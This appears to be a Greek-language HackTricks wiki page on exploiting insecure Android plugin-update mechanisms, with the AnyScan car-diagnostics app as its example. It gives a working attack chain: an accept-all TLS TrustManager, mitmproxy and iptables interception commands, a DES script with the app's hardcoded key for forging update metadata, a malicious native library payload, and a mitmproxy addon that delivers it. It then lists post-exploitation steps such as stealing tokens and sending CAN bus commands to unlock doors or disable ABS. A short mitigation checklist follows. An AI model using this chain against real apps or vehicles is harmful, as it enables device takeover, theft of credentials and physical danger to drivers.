mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
125 lines
9.1 KiB
Markdown
125 lines
9.1 KiB
Markdown
# Ανασφαλείς Μηχανισμοί Ενημέρωσης Εφαρμογών – Εκτέλεση Απομακρυσμένου Κώδικα μέσω Κακόβουλων Πρόσθετων
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Πολλές εφαρμογές Android υλοποιούν τα **δικά τους κανάλια ενημέρωσης “plugin” ή “dynamic feature”** αντί να χρησιμοποιούν το Google Play Store. Όταν η υλοποίηση είναι ανασφαλής, ένας επιτιθέμενος που μπορεί να παρεμποδίσει την κίνηση μπορεί να προμηθεύσει **τυχαίο εγγενή κώδικα που θα φορτωθεί μέσα στη διαδικασία της εφαρμογής**, οδηγώντας σε πλήρη Εκτέλεση Απομακρυσμένου Κώδικα (RCE) στη συσκευή – και σε ορισμένες περιπτώσεις σε οποιαδήποτε εξωτερική συσκευή που ελέγχεται από την εφαρμογή (αυτοκίνητα, IoT, ιατρικές συσκευές …).
|
||
|
||
Αυτή η σελίδα συνοψίζει μια αλυσίδα ευπάθειας από τον πραγματικό κόσμο που βρέθηκε στην εφαρμογή διαγνωστικών αυτοκινήτων **AnyScan** (v4.40.11 → 4.40.40) και γενικεύει την τεχνική ώστε να μπορείτε να ελέγξετε άλλες εφαρμογές Android και να οπλοποιήσετε τη λανθασμένη ρύθμιση κατά τη διάρκεια μιας εμπλοκής red-team.
|
||
|
||
---
|
||
## 1. Αναγνώριση Ανασφαλούς TLS TrustManager
|
||
|
||
1. Αποσυμπιέστε το APK με το jadx / apktool και εντοπίστε το δίκτυο (OkHttp, HttpUrlConnection, Retrofit…).
|
||
2. Αναζητήστε έναν **προσαρμοσμένο `TrustManager`** ή `HostnameVerifier` που εμπιστεύεται τυφλά κάθε πιστοποιητικό:
|
||
```java
|
||
public static TrustManager[] buildTrustManagers() {
|
||
return new TrustManager[]{
|
||
new X509TrustManager() {
|
||
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
|
||
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
|
||
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||
}
|
||
};
|
||
}
|
||
```
|
||
3. Αν υπάρχει, η εφαρμογή θα αποδεχτεί **οποιοδήποτε πιστοποιητικό TLS** → μπορείτε να εκτελέσετε έναν διαφανή **MITM proxy** με ένα αυτο-υπογεγραμμένο πιστοποιητικό:
|
||
```bash
|
||
mitmproxy -p 8080 -s addon.py # see §4
|
||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||
```
|
||
## 2. Αντίστροφη Μηχανική των Μεταδεδομένων Ενημέρωσης
|
||
|
||
Στην περίπτωση του AnyScan, κάθε εκκίνηση της εφαρμογής ενεργοποιεί ένα HTTPS GET προς:
|
||
```
|
||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||
```
|
||
Το σώμα της απάντησης είναι ένα **XML έγγραφο** των οποίων οι κόμβοι `<FileData>` περιέχουν **Base64-κωδικοποιημένο, κρυπτογραφημένο με DES-ECB** JSON που περιγράφει κάθε διαθέσιμο plugin.
|
||
|
||
Τυπικά βήματα αναζήτησης:
|
||
1. Εντοπίστε τη ρουτίνα κρυπτογράφησης (π.χ. `RemoteServiceProxy`) και ανακτήστε:
|
||
* αλγόριθμο (DES / AES / RC4 …)
|
||
* τρόπο λειτουργίας (ECB / CBC / GCM …)
|
||
* σκληρά κωδικοποιημένο κλειδί / IV (συνήθως 56-bit DES κλειδιά ή 128-bit AES κλειδιά σε σταθερές)
|
||
2. Επαναφέρετε τη λειτουργία σε Python για να αποκρυπτογραφήσετε / κρυπτογραφήσετε τα μεταδεδομένα:
|
||
```python
|
||
from Crypto.Cipher import DES
|
||
from base64 import b64decode, b64encode
|
||
|
||
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
|
||
|
||
def decrypt_metadata(data_b64: str) -> bytes:
|
||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||
return cipher.decrypt(b64decode(data_b64))
|
||
|
||
def encrypt_metadata(plaintext: bytes) -> str:
|
||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||
```
|
||
## 3. Δημιουργία Κακόβουλου Πρόσθετου
|
||
|
||
1. Επιλέξτε οποιοδήποτε νόμιμο ZIP πρόσθετο και αντικαταστήστε τη native βιβλιοθήκη με το payload σας:
|
||
```c
|
||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||
__attribute__((constructor))
|
||
void init(void){
|
||
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
|
||
// spawn reverse shell, drop file, etc.
|
||
}
|
||
```
|
||
|
||
```bash
|
||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||
```
|
||
2. Ενημερώστε τα μεταδεδομένα JSON ώστε το `"FileName" : "PWNED.zip"` και το `"DownloadURL"` να δείχνουν στον HTTP server σας.
|
||
3. Κρυπτογραφήστε με DES + κωδικοποιήστε σε Base64 το τροποποιημένο JSON και αντιγράψτε το πίσω μέσα στο παρεμβαλλόμενο XML.
|
||
|
||
## 4. Παράδοση του Payload με mitmproxy
|
||
|
||
`addon.py` παράδειγμα που *σιωπηλά* αλλάζει τα αρχικά μεταδεδομένα:
|
||
```python
|
||
from mitmproxy import http
|
||
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||
|
||
def request(flow: http.HTTPFlow):
|
||
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
|
||
flow.response = http.Response.make(
|
||
200,
|
||
MOD_XML,
|
||
{"Content-Type": "text/xml"}
|
||
)
|
||
```
|
||
Τρέξτε έναν απλό web server για να φιλοξενήσετε το κακόβουλο ZIP:
|
||
```bash
|
||
python3 -m http.server 8000 --directory ./payloads
|
||
```
|
||
Όταν το θύμα εκκινεί την εφαρμογή, θα:
|
||
* ανακτήσει το παραποιημένο XML μέσω του καναλιού MITM;
|
||
* αποκρυπτογραφήσει και αναλύσει με το σκληρά κωδικοποιημένο κλειδί DES;
|
||
* κατεβάσει το `PWNED.zip` → αποσυμπιέσει μέσα στην ιδιωτική αποθήκευση;
|
||
* `dlopen()` το συμπεριλαμβανόμενο *libscan_x64.so*, εκτελώντας άμεσα τον κώδικά μας **με τις άδειες της εφαρμογής** (κάμερα, GPS, Bluetooth, σύστημα αρχείων, …).
|
||
|
||
Επειδή το plugin είναι αποθηκευμένο στη μνήμη, η πίσω πόρτα **επιμένει μετά από επανεκκινήσεις** και εκτελείται κάθε φορά που ο χρήστης επιλέγει τη σχετική δυνατότητα.
|
||
|
||
## 5. Ιδέες Μετά την Εκμετάλλευση
|
||
|
||
* Κλέψτε τα session cookies, OAuth tokens ή JWTs που αποθηκεύει η εφαρμογή.
|
||
* Ρίξτε ένα APK δεύτερης φάσης και εγκαταστήστε το σιωπηλά μέσω του `pm install` (η εφαρμογή έχει ήδη `REQUEST_INSTALL_PACKAGES`).
|
||
* Καταχρήστε οποιοδήποτε συνδεδεμένο υλικό – στο σενάριο AnyScan μπορείτε να στείλετε αυθαίρετες **εντολές OBD-II / CAN bus** (ξεκλείδωμα θυρών, απενεργοποίηση ABS, κ.λπ.).
|
||
|
||
---
|
||
### Λίστα Ελέγχου Ανίχνευσης & Μετριασμού (μπλε ομάδα)
|
||
|
||
* ΠΟΤΕ μην αποστέλλετε μια παραγωγική έκδοση με έναν προσαρμοσμένο TrustManager/HostnameVerifier που απενεργοποιεί την επικύρωση πιστοποιητικών.
|
||
* Μην κατεβάζετε εκτελέσιμο κώδικα από το Google Play. Αν *πρέπει*, υπογράψτε κάθε plugin με το ίδιο **apkSigning v2** κλειδί και επαληθεύστε την υπογραφή πριν τη φόρτωση.
|
||
* Αντικαταστήστε την αδύναμη/σκληρά κωδικοποιημένη κρυπτογράφηση με **AES-GCM** και ένα περιστρεφόμενο κλειδί από την πλευρά του διακομιστή.
|
||
* Επικυρώστε την ακεραιότητα των κατεβασμένων αρχείων (υπογραφή ή τουλάχιστον SHA-256).
|
||
|
||
---
|
||
## Αναφορές
|
||
|
||
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|